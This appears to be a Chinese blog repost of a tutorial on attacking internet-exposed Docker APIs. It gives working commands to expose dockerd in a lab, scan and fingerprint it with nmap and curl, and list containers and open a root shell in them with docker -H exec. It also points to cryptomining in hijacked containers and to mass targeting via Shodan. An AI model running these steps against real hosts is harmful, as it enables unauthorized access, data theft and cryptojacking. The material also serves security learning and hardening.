【漏洞挖掘】攻击对外开放的Docker API接口
https://medium.com/@riccardo.ancarani94/attacking-docker-exposed-api-3e01ffc3c124
1)场景
攻击开放在互联网的Docker API
2)问题难点
Docker API外放有什么危害?
3)解决问题的方法
- 理解客户API公开互联网的原理
- 信息收集和枚举
- 利用Docker CLI测试暴露的API
- 批量挖掘
4)方法细节
理解客户API公开互联网的原理
1、/etc/systemd/system/docker.service.d/startup_options.conf使用以下内容创建文件:
# /etc/systemd/system/docker.service.d/override.conf
[Service]
ExecStart=
ExecStart=/usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:2376
注意: -H标志将dockerd绑定到侦听套接字,即Unix套接字或TCP端口。您可以指定多个-H标志以绑定到多个套接字/端口。默认的-H fd://使用systemd的套接字激活功能来引用/lib/systemd/system/docker.socket。
2、重新加载配置文件
$ sudo systemctl daemon-reload
3、使用新的启动选项重新启动docker守护程序:
$ sudo systemctl restart docker.service
Dockerd进程侦听端口2376
vagrant@ubuntu-xenial:~$ sudo netstat -tulpn | grep 2376
tcp6 0 0 :::2376 :::* LISTEN 4504/dockerd
vagrant@ubuntu-xenial:~$
信息收集和枚举
使用nmap端口扫描
sudo nmap -sS -T5 192.168.1.7 -p-
Starting Nmap 7.01 ( https://nmap.org ) at 2018-08-10 16:31 CEST
Nmap scan report for 192.168.1.7
Host is up (0.00076s latency).
Not shown: 65498 closed ports, 35 filtered ports
PORT STATE SERVICE
22/tcp open ssh
2376/tcp open docker
MAC Address: 08:00:27:CA:62:F8 (Oracle VirtualBox virtual NIC)
如果使用nmap的服务检测可以直接检测出Docker的确切版本。
nmap -sTV -p 2376 192.168.1.7
Starting Nmap 7.01 ( https://nmap.org ) at 2018-08-10 16:35 CEST
Nmap scan report for 192.168.1.7
Host is up (0.00038s latency).
PORT STATE SERVICE VERSION
2376/tcp open 18.06.0-ce Docker
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 77.78 seconds
向位于以下位置的端点发出GET请求,返回Docker的版本数据:
curl -s http://192.168.1.7:2376/version | python -m json.tool
从python2.6开始,多了个json.tool的东西。把json数据格式化显示出来。
>>echo '{"name": "lucy", "age": "18"}' | python -mjson.tool
{
"age": "18",
"name": "lucy"
}

- 利用Docker CLI测试暴露的API
docker -H <host>:<port> info

收集信息
运行的容器
docker -H 192.168.1.7:2376 ps
已经停止的容器
docker -H 192.168.1.7:2376 ps -a
查看镜像
docker -H 192.168.1.7:2376 images
访问容器
在容器内生成一个shell是通过exec命令完成的,在这种情况下我们可能想要生成一个bash shell:
docker -H 192.168.1.7:2376 exec -it <container name> /bin/bash


容器内的默认用户是root,可以尝试进一步搜集容器里的信息,代码、配置文件、数据库。
利用容器挖矿
https://ww.getmonero.org/resources/user-guides/mining_with_xmrig_and_docker.html
批量挖掘
Shodan上暴露出来的API是760个

5)总结
在这篇文章中,研究了Docker相关的威胁。让Docker API暴露于互联网可能会导致数据丢失,加密,僵尸网络等问题
【漏洞挖掘】攻击对外开放的Docker API接口的更多相关文章
- 记一次Hvv中遇到的API接口泄露而引起的一系列漏洞
引言 最近朋友跟我一起把之前废弃的公众号做起来了,更名为鹿鸣安全团队,后面陆续会更新个人笔记,有趣的渗透经历,内网渗透相关话题等,欢迎大家关注 前言 Hvv中的一个很有趣的漏洞挖掘过程,从一个简单的A ...
- 前后端分离,如何防止api接口被恶意调用或攻击
无论网站,还是App目前基本都是基于api接口模式的开发,那么api的安全就尤为重要了.目前攻击最常见的就是“短信轰炸机”,由于短信接口验证是App,网站检验用户手机号最真实的途径,使用短信验证码在提 ...
- 四十五:漏洞发现-API接口服务之漏洞探针类型利用修复
接口服务类安全测试 根据前期信息收集针对目标端口服务类探针后进行的安全测试,主要涉及攻击方法:口令安全,WEB类漏洞,版本漏洞等,其中产生的危害可大可小,属于端口服务/第三方服务类安全测试.一般在已知 ...
- 使用YApi搭建API接口管理工具(docker安装)
使用YApi搭建API接口管理工具(docker安装) 工具描述 YApi 是高效.易用.功能强大的 api 管理平台,旨在为开发.产品.测试人员提供更优雅的接口管理服务.可以帮助开发者轻松创建.发布 ...
- 一篇RPO漏洞挖掘文章翻译加深理解。
这是我第一次尝试翻译一篇漏洞挖掘文章,翻译它也是为了加深理解它.这是一篇很有意思的漏洞挖掘文章. 前几天在看fd的博客,偶然看到了这篇文章,虽然有点老了.但是思路真的牛皮.我决定花费时间和精力研究它们 ...
- Shodan在渗透测试及漏洞挖掘中的一些用法
渗透测试中,第一阶段就是信息搜集,这一阶段完成的如何决定了你之后的进行是否顺利,是否更容易.而关于信息收集的文章网上也是有太多.今天我们来通过一些例子来讲解如何正确使用Shodan这一利器. 想要利用 ...
- ActiveX 控件漏洞挖掘之方法
ActiveX是微软公司提出,并在1996年被正式命名的组件技术.该技术提供了一种通用的开放程序接口,使用这种技术开发的ActiveX控件可以直接集成到IE浏览器或第三方应用程序中,但由于第三方编程等 ...
- 浅析通过"监控"来辅助进行漏洞挖掘
这篇文章总结了一些笔者个人在漏洞挖掘这一块的"姿势",看了下好像也没相关类似TIPs或者文章出现,就写下此文. 本文作者:Auther : vulkey@MstLab(米斯特安全攻 ...
- 防盗链&CSRF&API接口幂等性设计
防盗链技术 CSRF(模拟请求) 分析防止伪造Token请求攻击 互联网API接口幂等性设计 忘记密码漏洞分析 1.Http请求防盗链 什么是防盗链 比如A网站有一张图片,被B网站直接通过img标签属 ...
随机推荐
- MT【42】抛物线不常见性质1.
评:特别的,当$PP'$为切线时,$\angle PSK=90^0$ 注:S为抛物线焦点.
- 7种JVM垃圾收集器特点,优劣势、及使用场景
今天继续JVM的垃圾回收器详解,如果说垃圾收集算法是JVM内存回收的方法论,那么垃圾收集器就是内存回收的具体实现. 一.常见的垃圾收集器有3类 1.新生代的收集器包括 Serial PraNew Pa ...
- eclipse中用maven创建web项目
上一节中完成了本地的maven环境搭建,在eclipse中怎么创建一个maven项目呢 一.eclipse中配置maven环境 eclipse版本4.3 1.打开菜单Help->Eclipse ...
- OneProxy 管理
-----client-----------haproxy---------mysql1----------mysql2------192.168.1.250 192.168.1.1 192.168. ...
- bower介绍
一. bower是什么? bower是twitter推出的第三方依赖管理工具.其特点是对包结构没有强制规范,也因此bower本身并不提供一套构建工具,它充当的基本上是一个静态资源的共享平台.它可用于搜 ...
- Android 自定义ImageView支持缩放,拖拽,方便复用
今天刚发了一篇关于ImageView的缩放和拖拽的博客,然后我想了下,将他自定义下,方便我们来复用这个imageView,效果我就不多说了,http://blog.csdn.net/xiaanming ...
- SDL源码阅读笔记(1) 基本模块
write by 九天雁翎(JTianLing) -- blog.csdn.net/vagrxie 前言 对于大牛来说,写关于阅读源码的文章都会叫源码剖析或者深入浅出啥的,对于我,自己阅读阅读源码,写 ...
- 【洛谷P2746】Network of Schools
题目大意:给定一个 N 个点,M 条边的有向图,第一问求至少从多少个点出发才能遍历整个有向图,第二问求至少在这个有向图的基础上加多少条边才能使得该无向图强连通. 题解:先进行 Tarjan 缩点,得到 ...
- java:给图片上加水印
import java.awt.Color; import java.awt.Graphics2D; import java.awt.Image; import java.awt.image.Buff ...
- 让maven项目使用nexus作为远程仓库
让maven项目使用nexus作为远程仓库有两种方式,第一种是在项目的pom.xml中进行更改,让单个项目使用nexus仓库:另一种是通过修改maven的配置文件settings.xml进行更改,让所 ...